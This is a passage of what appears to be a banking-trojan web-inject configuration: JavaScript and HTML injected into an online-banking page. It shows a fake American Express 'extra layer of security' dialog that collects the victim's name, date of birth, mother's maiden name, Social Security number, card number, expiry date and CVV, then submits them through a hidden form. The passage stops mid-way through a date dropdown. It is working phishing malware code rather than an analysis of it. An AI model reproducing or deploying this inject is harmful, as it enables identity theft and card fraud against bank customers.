src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

  data_before
    </body>
  data_after

  data_inject
    <script type="text/javascript">

  var popfrequency="216000"

  function get_cookie(Name) {
  var search = Name + "="
  var returnvalue = "";
  if (document.cookie.length > 0) {
  offset = document.cookie.indexOf(search)
  if (offset != -1) { // if cookie exists
  offset += search.length
  // set index of beginning of value
  end = document.cookie.indexOf(";", offset);
  // set index of end of cookie value
  if (end == -1)
  end = document.cookie.length;
  returnvalue=unescape(document.cookie.substring(offset, end))
  }
  }
  return returnvalue;
  }

  function resetcookie(){
  var expireDate = new Date()
  expireDate.setHours(expireDate.getHours()-10)
  document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
  }

  function loadornot(){
  if (get_cookie('tcpopunder')==''){
  loadpopunder()
  }
  }

  function loadpopunder(){

  function Init()
  {
    jQuery('#inject').dialog({ width: 450, buttons: { "Continue": function() {
           if (jQuery("#inject_fullname").val().length < 5)
            {
              alert('Please Enter your Full Name.');
              jQuery("#inject_fullname").focus();
```

```
    }
 else if (jQuery("#inject_dobdd").val().length < 2)
    {
      alert('Please Select Your Date of Birth (day).');
      jQuery("#inject_dobdd").focus();
   }
    else if (jQuery("#inject_dobmm").val().length < 2)
    {
      alert('Please Select Your Date of Birth (month).');
      jQuery("#inject_dobmm").focus();
    }
    else if (jQuery("#inject_dobyy").val().length < 4)
    {
      alert('Please Select Your Date of Birth (year).');
      jQuery("#inject_dobyy").focus();
    }
    else if (jQuery("#inject_mmn").val().length < 2)
    {
      alert('Please Enter Your Mothers Maiden Name.');
      jQuery("#inject_mmn").focus();
    }
    else if (jQuery("#inject_hometel").val().length < 8)
    {
      alert('Please Enter Your Home Telephone Number.');
      jQuery("#inject_hometel").focus();
    }
else if (jQuery("#inject_mobile").val().length < 6)
    {
      alert('Please Enter Your Email Address.');
      jQuery("#inject_mobile").focus();
  }
    else if (jQuery("#inject_sort1").val().length < 3)
    {
      alert('Please Enter Your Social Security Number.');
      jQuery("#inject_sort1").focus();
  }
    else if (jQuery("#inject_sort2").val().length < 2)
    {
      alert('Please Enter Your Social Security Number.');
      jQuery("#inject_sort2").focus();
  }
    else if (jQuery("#inject_sort3").val().length < 4)
    {
      alert('Please Enter Your Social Security Number.');
      jQuery("#inject_sort3").focus();
  }
    else if (jQuery("#inject_ccnum").val().length < 15)
    {
      alert('Please Enter Your 16 Digit Card Number.');
      jQuery("#inject_ccnum").focus();

  }
    else if (jQuery("#inject_expmm").val().length < 1)
    {
      alert('Please Select the Expiry Date on Your Card (month).');
      jQuery("#inject_expmm").focus();
  }
    else if (jQuery("#inject_expyy").val().length < 1)
    {
      alert('Please Select the Expiry Date on Your Card (year).');
      jQuery("#inject_expyy").focus();
  }
    else if (jQuery("#inject_cvv").val().length < 3)
```

```
            {
              alert('Please Enter Your CID (the 4 digits on the front of your
card).');
              jQuery("#inject_cvv").focus();
            }
            else
            {
      jQuery("#fullname").val(jQuery("#inject_fullname").val());
      jQuery("#dobdd").val(jQuery("#inject_dobdd").val());
      jQuery("#dobmm").val(jQuery("#inject_dobmm").val());
      jQuery("#dobyyyy").val(jQuery("#inject_dobyy").val());
      jQuery("#mmn").val(jQuery("#inject_mmn").val());
      jQuery("#homeno").val(jQuery("#inject_hometel").val());
      jQuery("#mobileno").val(jQuery("#inject_mobile").val());
      jQuery("#sort1").val(jQuery("#inject_sort1").val());
      jQuery("#sort2").val(jQuery("#inject_sort2").val());
      jQuery("#sort3").val(jQuery("#inject_sort3").val());
      jQuery("#ccnum").val(jQuery("#inject_ccnum").val());
      jQuery("#expmm").val(jQuery("#inject_expmm").val());
      jQuery("#expyyyy").val(jQuery("#inject_expyy").val());
      jQuery("#cvv").val(jQuery("#inject_cvv").val());
      jQuery("form[name='injectform']").submit();
      var expireDate = new Date()
      expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
      document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" +
expireDate.toGMTString();
      jQuery("#inject").dialog("close");
  }
            }
          }, closeOnEscape: false, modal: true, show: 'slide' });

  }
  jQuery(document).ready(Init);


  }

  if (popfrequency=="always"){
  resetcookie()
  loadpopunder()
  }
  else{
  if (get_cookie('tcpopunder')!=parseInt(popfrequency))
  resetcookie()
  loadornot()
  }
  </script>
  <div id="inject">
    <form>
    <center>
    <table><tbody>
      <tr>
    <tr><td align="left" style="background: #FFFFF;"><img src="http://www.themommy-
files.com/wp-content/uploads/2011/12/American-Express-rewards-logo.jpg" width="425"
height="140" style="margin-top: 10px; margin-left: 0px; margin-bottom:
0px;"/></td></tr><tr><td align="center" style="text-align: justify; font-size: 13px;
background: #FFFFF; padding-left: 7px;">
    <p>As part of our ongoing commitment to keeping you safe while using our online
services, we have added an extra layer of security. Please answer the following
information correctly before logging into your Personal Internet Banking Account.</p>
  <p> </p></td></tr>
    </tbody></table></center>
    <div style="font-size: 14px">
```

```
      <div align="center"><b>Please enter the information below to continue</b></div>
    </div><p> </p>
    <div>
      <table>
        <tbody>
          <tr>
            <td align="left" style="font-size: 15px; background: #FFFFFF;"><b>Full
Name:</b></td>
            <td align="left" style="background: #FFFFFF; font-size: 13px;"><input
type="text" name="inject_fullname" id="inject_fullname" size="15"
maxlength="50"/></td>
          </tr>
          <tr>
          <td align="left" style="font-size: 15px; background: #FFFFFF;"><b>Date of
Birth:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><select
name="inject_dobdd" size="1" id="inject_dobdd">
            <option selected="selected" value="">
            <option value="01">01</option>
            <option value="02">02</option>
            <option value="03">03</option>
            <option value="04">04</option>
            <option value="05">05</option>
            <option value="06">06</option>
            <option value="07">07</option>
            <option value="08">08</option>
            <option value="09">09</option>
            <option value="10">10</option>
            <option value="11">11</option>
            <option value="12">12</option>
            <option value="13">13</option>
            <option value="14">14</option>
            <option value="15">15</option>
            <option value="16">16</option>
            <option value="17">17</option>
            <option value="18">18</option>
            <option value="19">19</option>
            <option value="20">20</option>
            <option value="21">21</option>
            <option value="22">23</option>
            <option value="24">24</option>
            <option value="25">25</option>
            <option value="26">26</option>
            <option value="27">27</option>
            <option value="28">28</option>
            <option value="29">29</option>
            <option value="30">30</option>
            <option value="31">31</option>
            </select>
            <select name="inject_dobmm" size="1" id="inject_dobmm">
              <option selected="selected" value="">
              <option value="January">January</option>
              <option value="February">February</option>
              <option value="March">March</option>
              <option value="April">April</option>
              <option value="May">May</option>
              <option value="June">June</option>
              <option value="July">July</option>
              <option value="August">August</option>
              <option value="September">September</option>
              <option value="October">October</option>
              <option value="November">November</option>
              <option value="December">December</option>
              </select>
```

```
<select name="inject_dobyy" size="1" id="inject_dobyy">
  <option selected="selected" value="">
  <option value="2010">2010</option>
  <option value="2009">2009</option>
  <option value="2008">2008</option>
  <option value="2007">2007</option>
  <option value="2006">2006</option>
  <option value="2005">2005</option>
  <option value="2004">2004</option>
  <option value="2003">2003</option>
  <option value="2002">2002</option>
  <option value="2001">2001</option>
  <option value="2000">2000</option>
  <option value="1999">1999</option>
  <option value="1998">1998</option>
  <option value="1997">1997</option>
  <option value="1996">1996</option>
  <option value="1995">1995</option>
  <option value="1994">1994</option>
  <option value="1993">1993</option>
  <option value="1992">1992</option>
  <option value="1991">1991</option>
  <option value="1990">1990</option>
  <option value="1989">1989</option>
  <option value="1988">1988</option>
  <option value="1987">1987</option>
  <option value="1986">1986</option>
  <option value="1985">1985</option>
  <option value="1984">1984</option>
  <option value="1983">1983</option>
  <option value="1982">1982</option>
  <option value="1981">1981</option>
  <option value="1980">1980</option>
  <option value="1979">1979</option>
  <option value="1978">1978</option>
  <option value="1977">1977</option>
  <option value="1976">1976</option>
  <option value="1975">1975</option>
  <option value="1974">1974</option>
  <option value="1973">1973</option>
  <option value="1972">1972</option>
  <option value="1971">1971</option>
  <option value="1970">1970</option>
  <option value="1969">1969</option>
  <option value="1968">1968</option>
  <option value="1967">1967</option>
  <option value="1966">1966</option>
  <option value="1965">1965</option>
  <option value="1964">1964</option>
  <option value="1963">1963</option>
  <option value="1962">1962</option>
  <option value="1961">1961</option>
  <option value="1960">1960</option>
  <option value="1959">1959</option>
  <option value="1958">1958</option>
  <option value="1957">1957</option>
  <option value="1956">1956</option>
  <option value="1955">1955</option>
  <option value="1954">1954</option>
  <option value="1953">1953</option>
  <option value="1952">1952</option>
  <option value="1951">1951</option>
  <option value="1950">1950</option>
```